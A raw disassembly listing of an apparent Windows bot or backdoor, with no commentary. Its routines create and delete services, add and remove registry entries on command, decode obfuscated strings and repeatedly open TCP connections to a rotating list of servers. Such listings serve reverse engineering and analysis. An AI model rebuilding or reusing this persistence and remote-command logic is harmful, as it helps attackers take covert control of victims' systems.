lea ecx, [esp+54h+var_24]
push 0
push 0
push 0
push 0
push 0
call sub_4017EE
push eax
push 1
push 2
push 20h
push 0F01FFh
mov ecx, offset dword_449844
call sub_4017EE
mov ebp, [esp+7Ch+arg_0]
push eax
mov ecx, ebp
call sub_4017EE
push eax
push edi
nop
call near ptr 2900000h
mov esi, eax
xor ecx, ecx
cmp esi, ecx
jnz short loc_40EF65
nop
call near ptr 27C0849h
cmp eax, 431h
jnz short loc_40EF49
mov ecx, [esp+54h+var_44]
push ebp
call sub_401951
mov esi, dword_511754
push 0
call esi
push edi
call esi
mov ecx, [esp+54h+var_44]
push ebx
push ebp
call sub_4014A1
lea ecx, [esp+54h+var_24]
mov bl, al
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_401226
mov al, bl
jmp loc_40EFD0
; ---------------------------------------------------------------------------
loc_40EF49: ; CODE XREF: sub_40EE40+CBj
push edi
call near ptr 29003DCh
nop
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], 0FFFFFFFFh
call sub_401226
xor al, al
jmp short loc_40EFD0
; ---------------------------------------------------------------------------
loc_40EF65: ; CODE XREF: sub_40EE40+BEj
lea edx, [esp+54h+var_38]
mov [esp+54h+var_34], ecx
mov dword ptr [esp+54h+var_30], ecx
push edx
mov eax, 1
or ebx, 0FFFFFFFFh
lea ecx, [esp+58h+var_40]
push 2
push esi
mov [esp+60h+var_3C], eax
mov [esp+60h+var_40], eax
mov [esp+60h+var_38], ebx
mov [esp+60h+var_2C], eax
mov [esp+60h+var_28], ecx
call near ptr 2900659h
nop
test eax, eax
push esi
mov esi, dword_511754
jnz short loc_40EFBC
call esi
push edi
call esi
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_401226
xor al, al
jmp short loc_40EFD0
; ---------------------------------------------------------------------------
loc_40EFBC: ; CODE XREF: sub_40EE40+164j
call esi
push edi
call esi
lea ecx, [esp+54h+var_24]
mov [esp+54h+var_4], ebx
call sub_401226
mov al, 1
loc_40EFD0: ; CODE XREF: sub_40EE40+3Aj
; sub_40EE40+104j ...
mov ecx, [esp+54h+var_C]
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 44h
retn 0Ch
sub_40EE40 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 70h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F060 proc near ; CODE XREF: sub_401951j
var_1C = byte ptr -1Ch
arg_0 = dword ptr 4
sub esp, 1Ch
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 28F0B72h
mov edi, eax
test edi, edi
jnz short loc_40F087
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F087: ; CODE XREF: sub_40F060+1Bj
mov ecx, [esp+24h+arg_0]
push 0F01FFh
call sub_4017EE
push eax
push edi
nop
call near ptr 2890B07h
mov esi, eax
test esi, esi
jnz short loc_40F0B4
push edi
nop
call near ptr 29003DCh
pop edi
xor al, al
pop esi
add esp, 1Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F0B4: ; CODE XREF: sub_40F060+41j
lea eax, [esp+24h+var_1C]
push eax
push 1
push esi
nop
call near ptr 28F0647h
push esi
nop
call near ptr 28F08DDh
push esi
mov esi, dword_511754
call esi
push edi
call esi
pop edi
mov al, 1
pop esi
add esp, 1Ch
retn 4
sub_40F060 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F100 proc near ; CODE XREF: sub_401FD2j
arg_0 = dword ptr 4
push esi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
nop
call near ptr 28F0B72h
mov esi, eax
test esi, esi
jnz short loc_40F11F
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F11F: ; CODE XREF: sub_40F100+17j
mov ecx, [esp+4+arg_0]
push 0F01FFh
call sub_4017EE
push eax
push esi
call near ptr 2890B07h
nop
test eax, eax
jnz short loc_40F146
push esi
nop
call near ptr 29003DCh
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F146: ; CODE XREF: sub_40F100+37j
push edi
mov edi, dword_511754
push eax
call edi
push esi
call edi
pop edi
mov al, 1
pop esi
retn 4
sub_40F100 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F180 proc near ; CODE XREF: sub_401FFAj
arg_0 = dword ptr 4
push esi
push edi
push 0F003Fh
push offset aServicesactive ; "ServicesActive"
push 0
call near ptr 28F0B72h
nop
mov edi, eax
test edi, edi
jnz short loc_40F1A1
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F1A1: ; CODE XREF: sub_40F180+18j
mov ecx, [esp+8+arg_0]
push 0F01FFh
call sub_4017EE
push eax
push edi
nop
call near ptr 2890B07h
mov esi, eax
test esi, esi
jnz short loc_40F1CB
push edi
nop
call near ptr 29003DCh
pop edi
xor al, al
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_40F1CB: ; CODE XREF: sub_40F180+3Bj
push 0
push 0
push esi
nop
call near ptr 28E09B2h
push esi
mov esi, dword_511754
call esi
push edi
call esi
pop edi
mov al, 1
pop esi
retn 4
sub_40F180 endp
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_40F210: ; CODE XREF: ___:loc_4014ABj
mov eax, large fs:0
push 0FFFFFFFFh
push offset loc_43A348
push eax
mov large fs:0, esp
sub esp, 60h
push ebx
push esi
mov esi, [esp+78h]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+19h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F30A
push 1
push offset asc_444600 ; " "
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
push 1
push offset asc_444600 ; " "
lea ecx, [esp+14h]
push 2
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+84h], ebx
call sub_4011EA
lea edx, [esp+0Ch]
lea eax, [esp+24h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+7Ch], 1
call sub_401730
test al, al
jz short loc_40F2D6
lea ecx, [esp+0Ch]
call sub_4017EE
push eax
lea ecx, [esp+28h]
call sub_4017EE
push eax
push offset aRegAddSAsS_ ; "reg(add) \"%s\" as \"%s\"."
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 1Ch
loc_40F2D6: ; CODE XREF: ___:0040F297j
lea ecx, [esp+0Ch]
mov [esp+74h], bl
call sub_401226
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F30A: ; CODE XREF: ___:0040F246j
lea ecx, [edi+47h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F3A9
push 1
push offset asc_444600 ; " "
lea eax, [esp+2Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 2
push ecx
mov ecx, edi
call sub_401451
test al, al
jz short loc_40F382
lea ecx, [esp+24h]
call sub_4017EE
push eax
push offset aRegDelS_ ; "reg(del) \"%s\"."
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_40F382: ; CODE XREF: ___:0040F34Dj
lea ecx, [esp+24h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F3A9: ; CODE XREF: ___:0040F31Cj
lea ecx, [edi+75h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F4BF
push 1
push offset asc_444600 ; " "
lea ecx, [esp+44h]
push 1
push ecx
mov ecx, esi
call sub_4011EA
push 1
push offset asc_444600 ; " "
lea edx, [esp+14h]
push 2
push edx
mov ecx, esi
mov dword ptr [esp+84h], 3
call sub_4011EA
push 1
push offset asc_444600 ; " "
lea eax, [esp+2Ch]
mov bl, 4
push 3
push eax
mov ecx, esi
mov [esp+84h], bl
call sub_4011EA
lea ecx, [esp+24h]
lea edx, [esp+0Ch]
push ecx
lea eax, [esp+40h]
push edx
push eax
mov ecx, edi
mov byte ptr [esp+80h], 5
call sub_402171
test al, al
jz short loc_40F47D
lea ecx, [esp+24h]
call sub_4017EE
push eax
lea ecx, [esp+10h]
call sub_4017EE
push eax
lea ecx, [esp+44h]
call sub_4017EE
push eax
push offset aServAddSAsSS_ ; "serv(add) \"%s\" as \"\"%s\" %s\"."
lea ecx, [esi+69h]
call sub_4014DD
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push offset byte_4D8085
call sub_401857
add esp, 20h
loc_40F47D: ; CODE XREF: ___:0040F434j
lea ecx, [esp+24h]
mov [esp+74h], bl
call sub_401226
lea ecx, [esp+0Ch]
mov byte ptr [esp+74h], 3
call sub_401226
lea ecx, [esp+3Ch]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F4BF: ; CODE XREF: ___:0040F3BBj
lea ecx, [edi+0A3h]
call sub_4014DD
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_40F561
push 1
push offset asc_444600 ; " "
lea eax, [esp+5Ch]
push 1
push eax
mov ecx, esi
call sub_4011EA
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 6
push ecx
mov ecx, edi
call sub_401951
test al, al
jz short loc_40F53A
lea ecx, [esp+54h]
call sub_4017EE
push eax
push offset aServDelS_ ; "serv(del) \"%s\"."
lea ecx, [esi+69h]
call sub_4014DD
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push offset byte_4D8085
call sub_401857
add esp, 18h
loc_40F53A: ; CODE XREF: ___:0040F505j
lea ecx, [esp+54h]
mov dword ptr [esp+74h], 0FFFFFFFFh
call sub_401226
pop edi
pop esi
mov al, 1
pop ebx
mov ecx, [esp+60h]
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
loc_40F561: ; CODE XREF: ___:0040F4D4j
mov ecx, [esp+6Ch]
pop edi
pop esi
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 6Ch
retn 4
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 0E0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F660 proc near ; CODE XREF: sub_401D16j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
push edi
mov edi, esi
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
push ecx
nop
call near ptr 77C2C407h
mov edx, eax
mov eax, [esp+0Ch+arg_0]
mov edi, esi
or ecx, 0FFFFFFFFh
mov [eax], edx
xor eax, eax
add esp, 4
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
pop edi
pop esi
retn
sub_40F660 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_40F6D0 proc near ; CODE XREF: sub_40169Fj
var_29 = byte ptr -29h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40F6D0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 20h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov [esp+3Ch+var_28], esi
call sub_401E88
lea edi, [esi+11h]
mov [esp+3Ch+var_4], 0
mov ecx, edi
call sub_4011B3
lea ebp, [esi+28h]
mov ecx, ebp
call sub_40142E
lea ecx, [esi+3Dh]
mov byte ptr [esp+3Ch+var_4], 1
call sub_40142E
lea ecx, [esi+56h]
mov byte ptr [esp+3Ch+var_4], 2
call sub_401753
lea ecx, [esi+84h]
mov byte ptr [esp+3Ch+var_4], 3
call sub_401753
lea ecx, [esi+0B2h]
mov byte ptr [esp+3Ch+var_4], 4
call sub_401753
lea ecx, [esi+0E0h]
mov byte ptr [esp+3Ch+var_4], 5
call sub_401753
lea ecx, [esi+10Eh]
mov byte ptr [esp+3Ch+var_4], 6
call sub_401753
lea ecx, [esi+13Ch]
mov byte ptr [esp+3Ch+var_4], 7
call sub_401753
lea ecx, [esi+16Ah]
mov byte ptr [esp+3Ch+var_4], 8
call sub_401753
lea ecx, [esi+198h]
mov byte ptr [esp+3Ch+var_4], 9
call sub_401753
lea ecx, [esi+1C6h]
mov byte ptr [esp+3Ch+var_4], 0Ah
call sub_401753
lea ecx, [esi+1F4h]
mov byte ptr [esp+3Ch+var_4], 0Bh
call sub_401753
lea ecx, [esi+222h]
mov byte ptr [esp+3Ch+var_4], 0Ch
call sub_401753
lea ecx, [esi+250h]
mov byte ptr [esp+3Ch+var_4], 0Dh
call sub_401753
lea ecx, [esi+27Eh]
mov byte ptr [esp+3Ch+var_4], 0Eh
call sub_401753
lea ecx, [esi+2ACh]
mov byte ptr [esp+3Ch+var_4], 0Fh
call sub_401753
lea eax, [esp+3Ch+var_29]
lea ecx, [esi+2DAh]
push eax
mov byte ptr [esp+40h+var_4], 10h
call sub_40172B
mov dword ptr [edi], offset off_43F034
mov bl, 11h
xor edi, edi
push offset byte_448F40
mov ecx, ebp
mov byte ptr [esp+40h+var_4], bl
mov dword ptr [esi], offset off_43F028
mov byte ptr [esi+17h], 1
mov byte ptr [esi+15h], 0
mov byte ptr [esi+16h], 0
mov dword ptr [esi+18h], 0FFFFFFFFh
mov [esi+1Ch], edi
mov [esi+20h], edi
call sub_4015E1
nop
call near ptr 27E0C08h
push edi
push 21h
push 28h
push 23h
lea ecx, [esp+4Ch+var_24]
push 2Ah
push ecx
mov [esi+24h], eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 12h
call sub_4017EE
push eax
push offset dword_4490CC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 1Fh
push 1Dh
push 23h
push 2Eh
push 29h
lea edx, [esp+54h+var_24]
push 28h
push edx
call sub_4019C4
add esp, 20h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 13h
call sub_4017EE
push eax
push offset dword_4490D0
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 28h
push 23h
push 29h
lea eax, [esp+4Ch+var_24]
push 24h
push eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 14h
call sub_4017EE
push eax
push offset dword_4490D4
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 21h
push 2Dh
push 27h
push 30h
push 23h
push 2Ch
lea ecx, [esp+58h+var_24]
push 2Ah
push ecx
call sub_4019C4
add esp, 24h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 15h
call sub_4017EE
push eax
push offset dword_4490D8
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 2Dh
push 29h
push 22h
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+5Ch+var_24]
push 2Fh
push edx
call sub_4019C4
add esp, 28h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 16h
call sub_4017EE
push eax
push offset dword_4490DC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 46h
push 47h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 17h
call sub_4017EE
push eax
push offset dword_4490E0
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 46h
push 44h
lea ecx, [esp+48h+var_24]
push 47h
push ecx
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 18h
call sub_4017EE
push eax
push offset dword_4490E4
call sub_401D16
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_401226
push edi
push 21h
push 28h
push 29h
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 19h
call sub_4017EE
push eax
push offset dword_4490E8
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Dh
push 2Dh
push 1Bh
lea eax, [esp+4Ch+var_24]
push 2Ah
push eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ah
call sub_4017EE
push eax
push offset dword_4490EC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 28h
push ecx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Bh
call sub_4017EE
push eax
push offset dword_4490F0
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Ch
push 1Fh
push 2Dh
lea edx, [esp+4Ch+var_24]
push 2Fh
push edx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Ch
call sub_4017EE
push eax
push offset dword_4490F4
call sub_401D16
add esp, 8
mov byte ptr [esp+3Ch+var_4], bl
lea ecx, [esp+3Ch+var_24]
call sub_401226
push edi
push 47h
push 49h
lea eax, [esp+48h+var_24]
push 47h
push eax
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Dh
call sub_4017EE
push eax
push offset dword_4490F8
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 25h
push 1Dh
push 23h
lea ecx, [esp+4Ch+var_24]
push 25h
push ecx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Eh
call sub_4017EE
push eax
push offset dword_4490FC
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 2Ch
push 1Bh
lea edx, [esp+4Ch+var_24]
push 2Ah
push edx
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 1Fh
call sub_4017EE
push eax
push offset dword_449100
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 1Fh
push 1Eh
push 29h
lea eax, [esp+4Ch+var_24]
push 27h
push eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 20h
call sub_4017EE
push eax
push offset dword_449104
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 45h
push 44h
lea ecx, [esp+48h+var_24]
push 44h
push ecx
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 21h
call sub_4017EE
push eax
push offset dword_449108
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 49h
push 44h
lea edx, [esp+48h+var_24]
push 44h
push edx
call sub_4019C4
add esp, 14h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 22h
call sub_4017EE
push eax
push offset dword_44910C
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
push edi
push 2Eh
push 23h
push 2Fh
lea eax, [esp+4Ch+var_24]
push 2Bh
push eax
call sub_4019C4
add esp, 18h
mov ecx, eax
mov byte ptr [esp+3Ch+var_4], 23h
call sub_4017EE
push eax
push offset dword_449110
call sub_401D16
add esp, 8
lea ecx, [esp+3Ch+var_24]
mov byte ptr [esp+3Ch+var_4], bl
call sub_401226
mov ecx, [esp+3Ch+var_C]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 2Ch
retn
sub_40F6D0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 180h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40FE40 proc near ; CODE XREF: ___:004019D3j sub_401A4Bj
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_4013C5
sub_40FE40 endp
; ---------------------------------------------------------------------------
test byte ptr [esp+8], 1
jz short loc_40FE58
push esi
call sub_437AD2
; ---------------------------------------------------------------------------
add esp, 4
loc_40FE58: ; CODE XREF: ___:0040FE4Dj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_40FE70 proc near ; CODE XREF: sub_4013C5j
var_10 = dword ptr -10h
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_40FE70
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43F028
mov dword ptr [esi+11h], offset off_43F034
lea ecx, [esi+2DAh]
mov [esp+14h+var_4], 10h
call sub_401B68
sub_40FE70 endp
; ---------------------------------------------------------------------------
lea ecx, [esi+2ACh]
mov byte ptr [esp+10h], 0Fh
call sub_401023
lea ecx, [esi+27Eh]
mov byte ptr [esp+10h], 0Eh
call sub_401023
lea ecx, [esi+250h]
mov byte ptr [esp+10h], 0Dh
call sub_401023
lea ecx, [esi+222h]
mov byte ptr [esp+10h], 0Ch
call sub_401023
lea ecx, [esi+1F4h]
mov byte ptr [esp+10h], 0Bh
call sub_401023
lea ecx, [esi+1C6h]
mov byte ptr [esp+10h], 0Ah
call sub_401023
lea ecx, [esi+198h]
mov byte ptr [esp+10h], 9
call sub_401023
lea ecx, [esi+16Ah]
mov byte ptr [esp+10h], 8
call sub_401023
lea ecx, [esi+13Ch]
mov byte ptr [esp+10h], 7
call sub_401023
lea ecx, [esi+10Eh]
mov byte ptr [esp+10h], 6
call sub_401023
lea ecx, [esi+0E0h]
mov byte ptr [esp+10h], 5
call sub_401023
lea ecx, [esi+0B2h]
mov byte ptr [esp+10h], 4
call sub_401023
lea ecx, [esi+84h]
mov byte ptr [esp+10h], 3
call sub_401023
lea ecx, [esi+56h]
mov byte ptr [esp+10h], 2
call sub_401023
lea ecx, [esi+3Dh]
mov byte ptr [esp+10h], 1
call sub_401226
lea ecx, [esi+28h]
mov byte ptr [esp+10h], 0
call sub_401226
mov ecx, esi
mov dword ptr [esp+10h], 0FFFFFFFFh
call sub_40204F
mov ecx, [esp+8]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_410030 proc near ; CODE XREF: sub_402149j
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
arg_1C = byte ptr 20h
arg_1E = word ptr 22h
arg_20 = dword ptr 24h
arg_24 = dword ptr 28h
arg_28 = dword ptr 2Ch
arg_2C = dword ptr 30h
arg_34 = byte ptr 38h
arg_4C = byte ptr 50h
arg_64 = byte ptr 68h
arg_7C = byte ptr 80h
arg_94 = byte ptr 98h
arg_AC = byte ptr 0B0h
arg_C4 = byte ptr 0C8h
arg_DC = byte ptr 0E0h
arg_F4 = byte ptr 0F8h
arg_10C = byte ptr 110h
arg_124 = byte ptr 128h
arg_13C = byte ptr 140h
arg_154 = byte ptr 158h
arg_16C = byte ptr 170h
arg_184 = byte ptr 188h
arg_19C = byte ptr 1A0h
arg_1B4 = byte ptr 1B8h
arg_1CC = byte ptr 1D0h
arg_1E4 = byte ptr 1E8h
arg_1FC = byte ptr 200h
arg_214 = byte ptr 218h
arg_22C = byte ptr 230h
arg_244 = byte ptr 248h
arg_25C = byte ptr 260h
arg_274 = byte ptr 278h
arg_28C = byte ptr 290h
arg_2A4 = byte ptr 2A8h
arg_2BC = byte ptr 2C0h
arg_2D4 = byte ptr 2D8h
arg_2EC = byte ptr 2F0h
arg_304 = byte ptr 308h
arg_31C = byte ptr 320h
arg_334 = byte ptr 338h
arg_34C = byte ptr 350h
arg_364 = byte ptr 368h
arg_37C = byte ptr 380h
arg_394 = byte ptr 398h
arg_3AC = byte ptr 3B0h
arg_3C4 = byte ptr 3C8h
arg_3DC = byte ptr 3E0h
arg_3F4 = byte ptr 3F8h
arg_408 = byte ptr 40Ch
arg_40C = byte ptr 410h
arg_464 = byte ptr 468h
arg_2464 = dword ptr 2468h
arg_246C = dword ptr 2470h
arg_2470 = dword ptr 2474h
push 0FFFFFFFFh
mov eax, large fs:0
push offset loc_43A8D3
push eax
mov eax, 2478h
mov large fs:0, esp
call sub_437B30
push ebx
push ebp
mov ebp, ecx
push esi
push edi
lea ecx, [esp+1Ch+var_4]
call sub_40142E
mov al, [ebp+17h]
xor ebx, ebx
cmp al, bl
mov [esp+1Ch+arg_2470], ebx
jz loc_411400
loc_410072: ; CODE XREF: sub_410030+13CAj
mov al, byte_4E8E54
mov edi, dword_5118AC
cmp al, bl
jz loc_411400
mov eax, [ebp+20h]
cmp eax, ebx
jnz short loc_41009A
cmp dword ptr [ebp+1Ch], 5
jg short loc_4100A4
cmp eax, ebx
jz loc_4101DE
loc_41009A: ; CODE XREF: sub_410030+5Aj
cmp dword ptr [ebp+1Ch], 2
jle loc_4101DE
loc_4100A4: ; CODE XREF: sub_410030+60j
mov eax, [ebp+18h]
mov [ebp+16h], bl
cmp eax, 0FFFFFFFFh
mov [ebp+15h], bl
jz short loc_4100B9
push eax
nop
call near ptr 71AB9639h
loc_4100B9: ; CODE XREF: sub_410030+80j
mov ecx, offset word_44AC6E
mov dword ptr [ebp+18h], 0FFFFFFFFh
call sub_401541
mov esi, [ebp+20h]
inc esi
mov [ebp+20h], esi
lea esi, [ebp+2DAh]
mov ecx, esi
call sub_401983
mov ecx, [ebp+20h]
dec eax
cmp ecx, eax
jbe short loc_4100E9
mov [ebp+20h], ebx
loc_4100E9: ; CODE XREF: sub_410030+B4j
mov eax, [ebp+20h]
mov ecx, esi
push eax
mov [ebp+1Ch], ebx
call sub_401474
mov ecx, [eax]
add ecx, 16Dh
push ecx
push offset byte_4493FD
mov ecx, offset word_44ACE6
call sub_401F50
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_401474
mov eax, [eax]
mov ecx, offset word_44ACE6
add eax, 1B6h
push eax
push offset dword_4493B4
call sub_401F50
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_401474
mov edx, [eax]
mov ecx, offset word_44ACE6
push edx
push offset dword_449290
call sub_401F50
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_401474
mov ecx, [eax]
add ecx, 124h
push ecx
push offset word_449322
mov ecx, offset word_44ACE6
call sub_401F50
mov edx, [ebp+20h]
mov ecx, esi
push edx
call sub_401474
mov eax, [eax]
mov ecx, offset word_44ACE6
add eax, 0DBh
push eax
push offset byte_4492D9
call sub_401F50
mov ecx, [ebp+20h]
push ecx
mov ecx, esi
call sub_401474
mov edx, [eax]
mov ecx, offset word_44ACE6
add edx, 92h
push edx
push offset byte_44936B
call sub_401F50
mov eax, [ebp+20h]
mov ecx, esi
push eax
call sub_401474
mov ecx, [eax]
add ecx, 1FFh
push ecx
push offset byte_44948F
mov ecx, offset word_44ACE6
call sub_401F50
call edi
mov [ebp+24h], eax
loc_4101DE: ; CODE XREF: sub_410030+64j
; sub_410030+6Ej
mov edx, [ebp+18h]
cmp edx, 0FFFFFFFFh
jnz short loc_410208
push 6
push 1
push 2
nop
call near ptr 71AB3B91h
push 7D0h
mov [ebp+18h], eax
mov [ebp+15h], bl
nop
call near ptr 2830000h
jmp loc_4113F7
; ---------------------------------------------------------------------------
loc_410208: ; CODE XREF: sub_410030+1B4j
cmp [ebp+15h], bl
jnz loc_410398
mov ax, word_44933C
xor edx, edx
mov [esp+20h+arg_20], edx
push eax
mov [esp+24h+arg_24], edx
mov word ptr [esp+24h+arg_20], 2
mov [esp+24h+arg_28], edx
mov [esp+24h+arg_2C], edx
nop
call near ptr 71AB2B66h
mov ecx, offset byte_4492D9
